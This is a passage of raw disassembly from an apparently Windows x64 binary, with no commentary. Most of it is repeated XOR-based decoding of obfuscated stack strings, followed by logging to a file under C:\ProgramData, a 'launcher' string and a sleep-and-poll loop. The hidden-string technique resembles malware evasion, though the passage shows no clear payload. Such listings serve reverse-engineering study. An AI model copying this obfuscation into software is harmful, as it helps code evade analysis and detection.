mov rcx, qword [rbp]
mov qword [rbp + 0x410], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x418], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x46c0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x46c8], rax
movdqa xmm0, xmmword [rbp + 0x46c0]
xorps xmm0, xmmword [rbp + 0x410]
movdqa xmmword [rbp + 0x410], xmm0
movabs rax, 0xf245f579a3d31ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x46d0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x46d8], rax
movdqa xmm0, xmmword [rbp + 0x46d0]
xorps xmm0, xmmword [rbp + 0x3e0]
movdqa xmmword [rbp + 0x3e0], xmm0
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x24b8]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0xf], r12b
mov edx, 0x30
lea rcx, [rbp + 0xd28]
call fcn.14000d400
lea r8, [rbp + 0xd28]
lea rdx, [rbp + 0x2498]
lea rcx, [rbp + 0xf]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x400], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x408], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x46e0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x46e8], rax
movdqa xmm0, xmmword [rbp + 0x46e0]
xorps xmm0, xmmword [rbp + 0x400]
movdqa xmmword [rbp + 0x400], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x2478]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x3f0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3f8], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x46f0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x46f8], rax
movdqa xmm0, xmmword [rbp + 0x46f0]
xorps xmm0, xmmword [rbp + 0x3f0]
movdqa xmmword [rbp + 0x3f0], xmm0
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x2458]
call fcn.140018f00
nop
lea r8, [rbp + 0x400]
mov rdx, rax
lea rcx, [rbp + 0x2438]
call fcn.140019030
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xcc8]
call fcn.14001a0f0
nop
mov r9, rdi
lea r8, [rbp + 0xcc8]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xce8]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x410]
lea rdx, [rbp + 0xce8]
lea rcx, [rbp + 0x2418]
call fcn.140019030
nop
mov r9, rsi
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xd08]
call fcn.14001a0f0
nop
lea r8, [rbp + 0xa00]
lea rdx, [rbp + 0xd08]
lea rcx, [rbp + 0x23f8]
call fcn.140019030
nop
mov r9, r14
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xca8]
call fcn.14001a0f0
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x3110]
call fcn.140017c10
mov rdi, rax
mov rbx, qword [rbp + 0xcb8]
lea rcx, [rbp + 0xca8]
call fcn.140017ea0
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call fcn.14001aa60
nop
lea rcx, [rbp + 0x31b8]
call fcn.140017b90
lea rcx, [rbp + 0x31b8]
call fcn.140017e40
nop
lea rcx, [rbp + 0xca8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x23f8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xd08]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2418]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xce8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xcc8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2438]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2458]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2478]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2498]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x24b8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x24d8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x24f8]
call fcn.140017eb0
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x41a0]
call fcn.14007aed0
mov edx, 1
lea rcx, [rbp + 0x41a0]
call fcn.14001be90
nop
lea rcx, [rbp + 0x2518]
call fcn.140021270
nop
mov rdx, rax
lea rcx, [rbp + 0x41b0]
call fcn.14002be10
nop
lea rcx, [rbp + 0x2518]
call fcn.140020c40
lea rdx, [rbp + 0x41a0]
lea rcx, [rbp + 0xca0]
call fcn.140029b80
lea rdx, [rbp + 0x3ff0]
mov rcx, rax
call fcn.140029650
nop
movabs rax, 0xf245f579a3d3419f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4700], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4708], rax
movdqa xmm0, xmmword [rbp + 0x4700]
xorps xmm0, xmmword [rbp + 0x420]
movdqa xmmword [rbp + 0x420], xmm0
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x26f8]
call fcn.140017fd0
mov r14, rax
movabs rax, 0xd2319b1cd1a134d6
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x7a0], rcx
movabs rax, 0xa2ccc29137150de9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x7a8], rcx
movabs rax, 0x995e3c9c3927bb63
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x7b0], rcx
movabs rax, 0x549e550e7b022189
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
movabs rax, 0xeb3148ff5c55d207
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
movabs rax, 0x549e550e7b221bf0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x7a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x7a0], ymm1
movabs rax, 0xf245f579a3d361c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4710], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4718], rax
vmovdqa xmm0, xmmword [rbp + 0x4710]
vxorps xmm0, xmm0, xmmword [rbp + 0x430]
vmovdqa xmmword [rbp + 0x430], xmm0
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x26d8]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0xf245f579a3d341be
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x470], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x478], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4720], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4728], rax
movdqa xmm0, xmmword [rbp + 0x4720]
xorps xmm0, xmmword [rbp + 0x470]
movdqa xmmword [rbp + 0x470], xmm0
movabs rax, 0xf245f579a3d31ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4730], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4738], rax
movdqa xmm0, xmmword [rbp + 0x4730]
xorps xmm0, xmmword [rbp + 0x440]
movdqa xmmword [rbp + 0x440], xmm0
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x26b8]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x10], r12b
mov edx, 0x41
lea rcx, [rbp + 0x2538]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0x2698]
lea rcx, [rbp + 0x10]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x460], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x468], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4740], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4748], rax
movdqa xmm0, xmmword [rbp + 0x4740]
xorps xmm0, xmmword [rbp + 0x460]
movdqa xmmword [rbp + 0x460], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x2678]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x450], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x458], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4750], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4758], rax
movdqa xmm0, xmmword [rbp + 0x4750]
xorps xmm0, xmmword [rbp + 0x450]
movdqa xmmword [rbp + 0x450], xmm0
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x2658]
call fcn.140018f00
nop
lea r8, [rbp + 0x460]
mov rdx, rax
lea rcx, [rbp + 0x2638]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2618]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x25f8]
call fcn.140019110
nop
lea r8, [rbp + 0x470]
mov rdx, rax
lea rcx, [rbp + 0x25d8]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x25b8]
call fcn.140019110
nop
lea r8, [rbp + 0x7a0]
mov rdx, rax
lea rcx, [rbp + 0x2598]
call fcn.140019030
nop
lea r8, [rbp + 0x3ff0]
mov rdx, rax
lea rcx, [rbp + 0x2578]
call fcn.1400190a0
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x2558]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x3530]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x3530]
call fcn.1400106e0
nop
lea rcx, [rbp + 0x2558]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2578]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2598]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x25b8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x25d8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x25f8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2618]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2638]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2658]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2678]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2698]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x26b8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x26d8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x26f8]
call fcn.140017eb0
mov edx, 0xf8
lea rcx, [rbp + 0x40a0]
call fcn.14001b430
mov edx, 1
lea rcx, [rbp + 0x40a0]
call fcn.14001be90
nop
movabs rax, 0xa215b435e2900ed9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x480], rax
movabs rax, 0x82abacf81d3323da
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x488], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4760], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4768], rax
movdqa xmm0, xmmword [rbp + 0x4760]
xorps xmm0, xmmword [rbp + 0x480]
movdqa xmmword [rbp + 0x480], xmm0
lea rcx, [rbp + 0x480]
call fcn.140062ac8
mov rdx, rax
lea rcx, [rbp + 0x40b0]
call fcn.14002bad0
lea rdx, [rbp + 0x2718]
lea rcx, [rbp + 0x40a0]
call fcn.14001bdd0
lea rdx, [rbp + 0x3ff0]
mov rcx, rax
call fcn.14002beb0
movzx ebx, al
lea rcx, [rbp + 0x2718]
call fcn.140017eb0
test bl, bl
je 0x1400292ce
movabs rax, 0x972d9617d6b22dce
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
movabs rax, 0xe6c2c0990a473fec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
movabs rax, 0xaf660bdf3830a666
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
movabs rax, 0x549e550e7b221bd1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
movabs rax, 0xeb3148ff5c55d207
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
movabs rax, 0x549e550e7b221bf0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x7c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x7c0], ymm1
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x2738]
vzeroupper
call fcn.140017fd0
mov rdx, rax
lea rcx, [rbp + 0x3fa8]
call fcn.140035a10
mov byte [rbp + 0x3fa1], r12b
mov edx, 0x18
lea rcx, [rbp + 0x3fc8]
call fcn.140011510
lea rcx, [rbp + 0x3fc8]
call fcn.140016b00
nop
lea rcx, [rbp + 0x2758]
call fcn.140018130
mov rbx, rax
movabs r13, 0x802a86568ce932e2
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x7e0], rcx
movabs r14, 0xe3d9d88b721415ff
mov qword [rbp], r14
mov rcx, qword [rbp]
mov qword [rbp + 0x7e8], rcx
movabs rsi, 0x8452669a3834b47e
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
movabs rdi, 0x549e550e7b221b9d
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
movabs rax, 0x82abacf85c67629e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
movabs rax, 0xeb3148ff5c55d207
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
movabs rax, 0x549e550e7b221bf0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x7e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x7e0], ymm1
lea rdx, [rbp + 0x7e0]
lea rcx, [rbp + 0x1148]
vzeroupper
call fcn.140017fd0
nop
mov rdx, rbx
lea rcx, [rbp + 0x1148]
call fcn.140016a60
mov qword [rbp + 0x3f80], rax
lea rcx, [rbp + 0x1148]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2758]
call fcn.140017eb0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x3fa0], r12b
lea rax, [rbp + 0x3fa1]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3fc8]
lea r8, [rbp + 0x3fa0]
lea rdx, [rbp + 0x3f80]
lea rcx, [rbp + 0x2dd8]
call fcn.14002b8f0
mov rdx, rax
lea rcx, [rbp + 0x3fe0]
call fcn.14002bf00
nop
movabs rax, 0xf245f579a3d3419f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x490], rax
movabs rbx, 0x82abacf85c67629e
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x498], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4770], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4778], rax
movdqa xmm0, xmmword [rbp + 0x4770]
xorps xmm0, xmmword [rbp + 0x490]
movdqa xmmword [rbp + 0x490], xmm0
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x2978]
call fcn.140017fd0
mov r15, rax
movabs rax, 0xf245f579a3d341b7
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4f0], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x4f8], rcx
movabs rax, 0xf245f579a3d34195
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4780], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4788], rax
movdqa xmm0, xmmword [rbp + 0x4780]
xorps xmm0, xmmword [rbp + 0x4f0]
movdqa xmmword [rbp + 0x4f0], xmm0
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x8a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x8a8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x8b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x8b8], rax
mov rbx, rcx
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
movabs r13, 0x82abacf85c67629e
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
movabs rsi, 0xeb3148ff5c55d207
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
movabs rdi, 0x549e550e7b221bf0
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x8a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x8a0], ymm1
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp + 0x2958]
vzeroupper
call fcn.140017fd0
mov r14, rax
movabs rax, 0x9b318514c6a735d4
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xc40], rcx
movabs rax, 0xedc88c97284705f0
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xc48], rcx
movabs rax, 0x8445688b3f30bc69
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xc50], rcx
movabs rax, 0x3bed75601e5274d0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc58], rax
movabs rax, 0x17bd6b252f45dd5a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc60], rax
movabs rax, 0xed402e04c51d4ea0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc68], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4dc0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4dc8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4dd0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4dd8], rax
movabs rax, 0x37c90a055b20b639
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4de0], rax
movabs rax, 0xed402e04c51d4e82
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4de8], rax
vmovdqu ymm0, ymmword [rbp + 0xc40]
vpxor ymm1, ymm0, ymmword [rbp + 0x4dc0]
vmovdqa ymmword [rbp + 0xc40], ymm1
vmovdqa xmm0, xmmword [rbp + 0x4de0]
vxorps xmm0, xmm0, xmmword [rbp + 0xc60]
vmovdqa xmmword [rbp + 0xc60], xmm0
movabs rax, 0xf245f579a3d361c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4a8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4790], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4798], rax
vmovdqa xmm0, xmmword [rbp + 0x4790]
vxorps xmm0, xmm0, xmmword [rbp + 0x4a0]
vmovdqa xmmword [rbp + 0x4a0], xmm0
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x2938]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0xf245f579a3d341be
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4e0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x4e8], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x47a0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x47a8], rax
movdqa xmm0, xmmword [rbp + 0x47a0]
xorps xmm0, xmmword [rbp + 0x4e0]
movdqa xmmword [rbp + 0x4e0], xmm0
movabs rax, 0xf245f579a3d31ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4b8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x47b0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x47b8], rax
movdqa xmm0, xmmword [rbp + 0x47b0]
xorps xmm0, xmmword [rbp + 0x4b0]
movdqa xmmword [rbp + 0x4b0], xmm0
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x2918]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x11], r12b
mov edx, 0x69
lea rcx, [rbp + 0x2778]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0x28f8]
lea rcx, [rbp + 0x11]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4d0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x4d8], rcx
movabs rax, 0xf245f579a3d34195
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x47c0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x47c8], rax
movdqa xmm0, xmmword [rbp + 0x47c0]
xorps xmm0, xmmword [rbp + 0x4d0]
movdqa xmmword [rbp + 0x4d0], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x28d8]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4c0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x4c8], rcx
movabs rax, 0xf245f579a3d34195
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x47d0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x47d8], rax
movdqa xmm0, xmmword [rbp + 0x47d0]
xorps xmm0, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp + 0x4c0], xmm0
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x28b8]
call fcn.140018f00
nop
lea r8, [rbp + 0x4d0]
mov rdx, rax
lea rcx, [rbp + 0x2898]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2878]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2858]
call fcn.140019110
nop
lea r8, [rbp + 0x4e0]
mov rdx, rax
lea rcx, [rbp + 0x2838]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x2818]
call fcn.140019110
nop
lea r8, [rbp + 0xc40]
mov rdx, rax
lea rcx, [rbp + 0x27f8]
call fcn.140019030
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x27d8]
call fcn.140019110
nop
lea r8, [rbp + 0x4f0]
mov rdx, rax
lea rcx, [rbp + 0x27b8]
call fcn.140019030
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x2798]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x3638]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x3638]
call fcn.1400106e0
nop
lea rcx, [rbp + 0x2798]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x27b8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x27d8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x27f8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2818]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2838]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2858]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2878]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2898]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x28b8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x28d8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x28f8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2918]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2938]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2958]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2978]
call fcn.140017eb0
mov ebx, r12d
movabs rdi, 0xf245f579a3d341b4
cmp byte [rbp + 0x3fa0], bl
jne 0x140025b1f
mov qword [rbp + 0x798], 0x64
lea rdx, [rbp + 0x798]
lea rcx, [rbp + 0xc80]
call fcn.14002c0b0
mov rcx, rax
call fcn.14002cac0
add ebx, 0x64
cmp ebx, 0x3e8
jg 0x140027239
cmp byte [rbp + 0x3fa0], 0
je 0x140025ae1
movabs r15, 0xf245f579a3d34195
mov edx, 0xf8
lea rcx, [rbp + 0x42a0]
call fcn.14001b430
mov edx, 1
lea rcx, [rbp + 0x42a0]
call fcn.14001be90
nop
lea rdx, str._t_:__gb_
lea rcx, [rbp + 0x42b0]
call fcn.14002bad0
mov rax, qword [rbp + 0x3f80]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x10]
lea rdx, [rbp + 0x2b58]
lea rcx, [rbp + 0x42a0]
call fcn.14001bdd0
nop
mov rdx, rax
mov rcx, qword [rbp + 0x3f80]
call rbx
nop
lea rcx, [rbp + 0x2b58]
call fcn.140017eb0
movabs rax, 0xf245f579a3d3419f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4850], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4858], rax
movdqa xmm0, xmmword [rbp + 0x4850]
xorps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x570], xmm0
lea rdx, [rbp + 0x570]
lea rcx, [rbp + 0x2d18]
call fcn.140017fd0
mov r14, rax
movabs rax, 0x9c2c9759d7bd24c6
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x8e0], rcx
movabs rax, 0xf7dac98a7c1e10ff
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x8e8], rcx
movabs rax, 0x9811278b7c21a162
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x8f0], rcx
movabs rax, 0x549e747c1e546995
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
movabs rax, 0xeb3148ff5c55d207
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
movabs rax, 0x549e550e7b221bf0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x8e0]
